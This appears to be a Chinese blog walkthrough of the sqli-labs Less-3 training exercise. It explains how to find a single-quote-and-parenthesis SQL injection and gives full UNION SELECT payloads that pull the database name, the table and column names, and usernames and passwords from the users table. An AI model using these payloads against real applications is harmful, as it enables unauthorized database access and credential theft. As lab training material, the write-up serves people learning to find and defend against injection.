[网络安全]sqli-labs Less-3 解题详析

判断注入类型

GET1' and '1'='1,回显如下:
GET1' and '1'='2
没有回显,说明该漏洞类型为GET型单引号字符型注入

判断注入点个数

GET1' order by 2 --+,回显如下:

由上图可知,sql语法中给$id加上了()

猜测后端语句为SELECT * FROM xx where id=('$id')

故构造GET1') order by 3 --+,此时后端语句为SELECT * FROM xx where id=('1') order by 3 --+')

SELECT * FROM xx where id=('-1') order by 3

GET1') order by 4 --+

GET1') order by 3 --+
故注入点为3个

查库名

GET-1') union select 1,2,database(); --+

回显库名security

查表名

复制代码
-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'; --+

回显四个表名

查users表的列名

复制代码
-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'; --+

查字段

复制代码
-1') union select 1,group_concat(username),group_concat(password) from security.users; --+
相关推荐
数字化脑洞实验室6 分钟前
选择AI决策解决方案需要注意哪些安全和数据隐私问题?
人工智能·安全
Guheyunyi12 分钟前
安全风险监测系统核心技术
运维·网络·人工智能·安全
weixin_3077791312 分钟前
Amazon VPC中Web应用无法连接数据库的安全组配置问题分析与修复
网络·数据库·安全·云计算·aws
q***420513 分钟前
开启mysql的binlog日志
数据库·mysql
Lambor_Ma14 分钟前
【架构】安全(二)
安全
q***38511 小时前
Spring boot启动原理及相关组件
数据库·spring boot·后端
y***54881 小时前
免费的Web安全测试工具,可以替代Burp Suite
安全·web安全
你不是我我1 小时前
【Java 开发日记】SQL 语句左连接右连接内连接如何使用,区别是什么?
java·javascript·数据库
JELEE.1 小时前
Django中如何重写save()方法
数据库·django
SuperSpinach1 小时前
mysql 报错Authentication method ‘caching_sha2_password‘ is not supported.
数据库·mysql